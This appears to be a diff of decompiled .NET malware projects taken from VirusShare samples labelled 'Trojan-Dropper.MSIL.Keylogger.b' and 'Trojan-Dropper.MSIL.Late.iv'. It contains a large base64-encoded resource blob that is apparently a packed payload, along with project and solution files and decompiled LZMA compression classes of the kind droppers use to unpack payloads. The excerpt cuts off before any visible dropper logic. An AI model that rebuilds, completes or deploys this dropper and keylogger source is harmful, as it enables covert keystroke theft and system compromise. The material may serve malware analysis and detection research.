eFxxeEBkVT1RfGNBR2dRd3hZVkNDf0NcaHQQQnp9RQtVX0J4eHVOc397fAlpfHhGXE1sSHx/UH4ZclNK
|
||||
f1BQXER5d0RuQ2Fnf0pCTW1BfXFUcFdXf3h0dVdZfFQoaBV0DF1OdWNnQmMQbXBkXAhMcURfIm13UXl9
|
||||
Rmx+TEJ4eHVCfH1/d0J7fXtNWEVGUn1zVF1uY1tAVUxLW2Vif1FrX3NidURtT2RBeXR9allWe2Fuf1Zd
|
||||
WU53el13W09AbmJJRm9KfmlWTUtZcVdbQ3h5Q3l9XnJGX0JIentScmF+c1x8fWZBUEdCQ2hpUFl4a1tk
|
||||
ckJPWWR0a0tvSmVzb0BEWW1SeXlYdEtWd3hobVdBakl3flR3XUxEbHBgWn1MeXdVSk1edUxJYmRrRX16
|
||||
SHBHXkd0b3pUYGp5dUBpfXhHX0diQ3x7cHpGaY5VDgFy6Ez5n212FD0YykhMPSLrQRVoGvQS/aJRQTg6
|
||||
AFxxeTNlOEwjfRBhN282fwNEPU0McWpbUnwAUAl9IWI1XiF4FHsAcgx/AUwafRRDHWhiQA97NXkaYz5E
|
||||
FF49WCpwHlkZQgR3fUApXRdAGHEreC1WGXwTfwVZJE9xeUBlXT8lHhAULRw8DV43PS4sBCsoBi5XYQIP
|
||||
IRAlNw8LDhogMX8THihVTAExPzUAKTEIIxgQIFshBSsvMTYECxgKLhULKTkgPwglCgIdeDwiCh4VDSIt
|
||||
OTIeEDQVND4jDgclOwM7EhU3KwxeFDAuARULJA88OQwmLi4XPgIgEBIaAT86fR03KyULMgkPEQ0fFj8r
|
||||
Aw40NCYdGiocA2EHCTUuNBc0DTAoED4/DQUMEBUgFD4cHDMWHEwlCRcDKx0tCzEvKiwzFCA6ESgAPBkQ
|
||||
JRE0H0MdCQ4uGw0LBg0fFA0EXiIWNR8SIg0IIjUrGC0/PRIVEzApOw0AECU/LiRAHAUpGjAkCwg9BiIw
|
||||
FDUTEDQELSEvPgcMKxs3CiJEPTkrEy0pFwg4IxUSKRYmJiIUGCkiHRYLEyASDRUsHUcRJRkUHR4SCjwj
|
||||
BDwoHEQVCywNKxMWCQEpMQchHhYpGjwSfxgZBT83Fy4ZGi4cDkwlDgMjMQg3FgQwPR5eFDAuARULJA88
|
||||
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
|
||||
PHISEDMEHyAhCBEIFEEtGR83Nz89GAlbERMNM1V9JREmHC0XFA8tERYTAjw6fQsmPS4UMhgoPhYVFzon
|
||||
GDI9KAVeHDAcIyMOHDU/NDNuDRczCzYkHBUxfy8tCjkBFjI1LisuFBYVJzwgMnA3PyM3BTA+MAU0UAgY
|
||||
IxAyMTAdL1U1P1FOCz4aDxoqEjQRIRE4UAoZACkxHi0oCkRBBisOMAMLMTM/PAkDeUAvCzg6PHxNHyQ8
|
||||
HDUHFjI1KS8lFwAuJwk4LBQlPT82JUQoBh8QJgkYEwAiCTo1fQ8vFxUQABwCMHgxOzMXMBAUEwAxYyIJ
|
||||
X280KiUCHTAjMRIDEQNMMwopDRA/ETUmDz0FMlY6ES8QOywEKD8pK0wVJAAqEAInMQBeEy03ERMaIxZ9
|
||||
fgcrKycXMEdMcn9/ck7kfS9BQ0c1QjZ7S3l8Y1tGOl5UWFRwf1skQm1ibUBMXWFAf3FYeFxWf3Vff1ZZ
|
||||
eVxxeUBlXUxAfCdhQ29Zf3BEWE1ecURbYXx5UHt9U2JNXkN4fXtMcn9/ckxzfXhDXkdoQHx7UHl8Y1tE
|
||||
cV5NWEZwf1niQmFifUBMXWVAeXFceFhWf/x4fc5b6V3ieMxk2E0+fephN28sf2NEQU1ccVVbe3x7UHR9
|
||||
VGJFXkx4aHtNcnJ/YUx5fXNDUUdgQHR7V3l+Y1xEd15PWEFwelltQmJieUBOXa1DvXFceJFV0Hx8f+xa
|
||||
JlxxefVngkxAffpj/29Zfy5GWU1ecR1ax3x5UC98tWJHXgx5QXtMcnZ/eExzfXFDWEdqQHh7Vnl9Y19H
|
||||
QF18Wp1yrVvFQENgX0JfX2tCe3CiefBX233jfsxYOFy8eBJl5k5AfBthkW1ZfglEi0y+cD1bsH25USl9
|
||||
+2OHXzp4rnrscwZ/oU37fAFDjUYCQS9763gcYiJFUl8OWT1xzFgsQxhj1kEPXBxBYnAfeSBWrH08fgRZ
|
||||
w10xetBkdk1pflRhgW56fglF80x9cltb2H1aUQJ9k2NnXxF4xnpscwZ+wU14fAFC9UZhQQR6c3h/YiJF
|
||||
al9OWppwvFhsQxhirkFMXDdAwnBce0ZWxHyVfi9Zq1yRel9l5kyJfDBh+W+afchF002dcD1bsHy5USl9
|
||||
+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
|
||||
eFzFKQQkDQgBLWJhQm9Zf3BEWE1eczA+MBkaIg4SMwcVOy4RCRU5IFEMFy8JCBcwOxVMLRgPIwAvQGJ8
|
||||
QTt5a31BSWwMdwBVSiJxMwArFiUlHRI1FhAeCgZ5VDAQCzQQOCJ9GBAUNgMsPFBoaGNuX3R1UUEXPxIO
|
||||
MgcRfm8aFBc+HRwMH2xXDx0nPyIwJR4JJRYPBglqAjsuKjEfDDw9bAwHCTM1DglAeXHNeFlWfsKTtZhZ
|
||||
eFzFU0ZldkZGfWJ5an5Zf2FEWE1UcUVrcHx5en19a2hDXkNwA2pMcm9/ckxxfXlzTW1oQH1DeHtiY1tu
|
||||
dV5NUMRyf1lmNmtifXdkW2VAbgIKUl1Wf3v8fUhZeHZ3eWtvWUxAehxwQm9Wf3BEUk1fQVdbSXp5e3F5
|
||||
QGJBIEd4fX3MdXR1ckxPDnJDXnQNSn17eVF+Y1tMoS5NWG8CX3VlQmFQVVRIXWVGB2BceFdWf3xLf1Rp
|
||||
a1xbc0BlcDFKfWJRMW1Tf3BFcE8UW0JbSHZ+Wnt9bw1AVEN4UABOeVR/ck5Tb1VYXkdhzHpwWnl8TTRO
|
||||
cV5gI0Zhf1liQmFiUUBObXZqc3FceXFUYVZnf1Zb+VpqeUBnSLJAb2FwQm9Vf3BESE1cQVdxZXxSWnl5
|
||||
a2RsVGh4fXpkeFJkckx68XpSXkdpQH17SHl9U0hEW1hNc056f1lFamNzfUBGXWVAcnFdSEpWVXp8VFxT
|
||||
eFxYUUJlXUmQbGJhS29Zf39EWX1NcW5dY1dzWnt9aEpFT0N4dXtMcnR/c3xofXhDdEFia3dxUHlbS1FE
|
||||
cXhlW0Zhf1loQmFibEBObXZAU3dcU1Ncf3xeEFJZeFgPaEBlW0xAfW1hQ19Kf1pCWGZUe0RbQhN9UHt+
|
||||
PnNHXkZ4fXtDcn5PYUxRe3hoVE1iQF0UVHl8YSVVcV5JWERwcFlucnJiV0ZMdm9KeXFDF11Wf30CblZZ
|
||||
e1xxeU9lXHxTfWJLRm9Ze/BOWE1AAkBbY3/5Wnt9XRFDXkN6/XFMcmMMdkx7fPhJXkd5M9tRWnl8enNG
|
||||
b3RHWERmV1txQmFgSEBMXWlAeXMXeFlUSnx8f1ZZeFxweUB5HGZKfWJjamp1emE+Uk1eZGzbaXxKcLKj
|
||||
SmJHSmt5fXtWBm6BLU2Fa31SAUScVnlqU4doYltEaytvhruPgC5vQmFifUBMXyBEaHRPfkhhoYODgNWm
|
||||
h6MLhr+aPrO/gi6evZAVgI+7YbKhjmCknINtr4SDvJ24oLuHgoW6jYCBkLOEg7e8obnYv4KF+oaDncm7
|
||||
jqDNp7uOE6aQvD+dgr4Copq+SI6jhkepgIJ+gKmkkqOOhKJlXUxAfWJhWCpcbGYcT0hPdW9ecnx5UMeg
|
||||
SmJHTWt+bmNTeH9/dGR7fVhEfk1iQHlTymN7a11XZkFHWER2V1lvYmZCd0BMWU3aYHZUfkpAYFp2f1ZI
|
||||
UFZxeURNx1ZHdWRyVnBTf3BKcETAalJSbn15UGPwV2RUTVxyfXtcWmkVZ9ZjemNFTVV9Sn17WlFpdkJk
|
||||
blRNWEBY5UNoSnpkblFTW3ZQZiV3enVcf3xuV1xZeFhZ41piVUpTc31HSG9ZblhOWE1aWd5CZHR/Q3Zi
|
||||
SmJHUGtx42Jae3J+ckxj8G9FTUt9Sn17QFFqCU7eZllUXld7YFNvQmtKaFVVfXpKeXFYUMNPeHRleUVT
|
||||
Z1d7eUBqdVpVDWJhVx1feWNNR0decUpzauJuRnJwQWJHRs5ve2hSeH9/f2RtF21DTFBkU2BxWnl8b3Mt
|
||||
e15NU2xneUpzSGFid2hZRHJgZntceFA5dXx8dzlTeFx2UVdjTldMd2JhRkcpf3BFKkdecUdzZW9jWnt9
|
||||
RkpHXmN/XXFMcntXAkx7fApJXkdhaHtoSV92Y1tBWVRNWEBYD1lvQxNofUBPdWNTYXVPb1NWf35UblZZ
|
||||
elxxeyxlW3xbV2hhQm5xfW5EWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
yV5NfQ5wf1lvQmFifkBMS/FAeVdYeFxWfXx8fx5ZeFxxeUBZjUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7P3hDHkdiQH17UHl8Y1tE
|
||||
cV5NfkRwf1tvQmHifUBMXWlAeRIzFDwkUTx8fxZZeFxxeUBlXUxAfWJhQktZf3BGWE1eEURbY3xpUHt9
|
||||
IxA0LG24fXsMcn9/ckx7fXhDXkdiQH1ZUHl8YVtEcR5NWERww1lvIxUDGTNiPWVAWXFceFlWf3x8f1ZZ
|
||||
eFxxfUBlXVJAfWJBQm9ZY4REWE0qCSEvTXx5UHt9QGJHXkN4NXtMUnd/ckx7fXhDXkdiQHV7UFl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfX5hQi9Zf3BEVE1e8URbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/Ykx7HXhDXkcxQH1HyHl8Y1tEcV5NWERwb1lvQmFifVBMXXVAeXFcaFlWb3x8+jZZ
|
||||
elxxeUBlXUhAfWLBQm9Zf3BEWE1acURbY3x5UH99QGBHXkNYfXsMcn9/cgx7fXhjXkdifJN7UHl8Y1tC
|
||||
cV5NRkRwd1hkY2NinUBMXWVAeXFcN/4W03x4fhpZeBkheUBlXUxAfUZrT2J3GhQrNW0NPgB7DRVZPg4P
|
||||
YAclfjcXExUtEV8SEz4cEgozfjQLKClanTV923qJeOpNVv5vcVlvQuFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9ZfzBEWE1ecURb23x5r4R9QGJDXkN4fnvcKDI=
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.MSIL.Keylogger.b-62498e7220ee0284a4b819ca7f6a0791389033a31a4851b06364ad9713bfc16b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>kopyht</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>ljkhyrtd</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Class1.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "kopyht", "Trojan-Dropper.MSIL.Keylogger.b-62498e7220ee0284a4b819ca7f6a0791389033a31a4851b06364ad9713bfc16b.csproj", "{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{004B8428-0C3B-46CA-ACFB-79BE582CCC4D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.CRC
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class CRC
|
||||
{
|
||||
public static readonly uint[] Table = new uint[256];
|
||||
private uint _value = uint.MaxValue;
|
||||
|
||||
static CRC()
|
||||
{
|
||||
for (uint index1 = 0; index1 < 256U; ++index1)
|
||||
{
|
||||
uint num = index1;
|
||||
for (int index2 = 0; index2 < 8; ++index2)
|
||||
{
|
||||
if (((int) num & 1) != 0)
|
||||
num = num >> 1 ^ 3988292384U;
|
||||
else
|
||||
num >>= 1;
|
||||
}
|
||||
CRC.Table[(IntPtr) index1] = num;
|
||||
}
|
||||
}
|
||||
|
||||
public void Init() => this._value = uint.MaxValue;
|
||||
|
||||
public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8;
|
||||
|
||||
public void Update(byte[] data, uint offset, uint size)
|
||||
{
|
||||
for (uint index = 0; index < size; ++index)
|
||||
this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8;
|
||||
}
|
||||
|
||||
public uint GetDigest() => this._value ^ uint.MaxValue;
|
||||
|
||||
private static uint CalculateDigest(byte[] data, uint offset, uint size)
|
||||
{
|
||||
CRC crc = new CRC();
|
||||
crc.Update(data, offset, size);
|
||||
return crc.GetDigest();
|
||||
}
|
||||
|
||||
private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.CoderPropID
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public enum CoderPropID
|
||||
{
|
||||
DictionarySize = 1024, // 0x00000400
|
||||
UsedMemorySize = 1025, // 0x00000401
|
||||
Order = 1026, // 0x00000402
|
||||
PosStateBits = 1088, // 0x00000440
|
||||
LitContextBits = 1089, // 0x00000441
|
||||
LitPosBits = 1090, // 0x00000442
|
||||
NumFastBytes = 1104, // 0x00000450
|
||||
MatchFinder = 1105, // 0x00000451
|
||||
NumPasses = 1120, // 0x00000460
|
||||
Algorithm = 1136, // 0x00000470
|
||||
MultiThread = 1152, // 0x00000480
|
||||
EndMarker = 1168, // 0x00000490
|
||||
}
|
||||
}
|
||||
+370
@@ -0,0 +1,370 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.BinTree
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class BinTree : InWindow, IMatchFinder, IInWindowStream
|
||||
{
|
||||
private const uint kHash2Size = 1024;
|
||||
private const uint kHash3Size = 65536;
|
||||
private const uint kBT2HashSize = 65536;
|
||||
private const uint kStartMaxLen = 1;
|
||||
private const uint kHash3Offset = 1024;
|
||||
private const uint kEmptyHashValue = 0;
|
||||
private const uint kMaxValForNormalize = 2147483647;
|
||||
private uint _cyclicBufferPos;
|
||||
private uint _cyclicBufferSize;
|
||||
private uint _matchMaxLen;
|
||||
private uint[] _son;
|
||||
private uint[] _hash;
|
||||
private uint _cutValue = (uint) byte.MaxValue;
|
||||
private uint _hashMask;
|
||||
private uint _hashSizeSum;
|
||||
private bool HASH_ARRAY = true;
|
||||
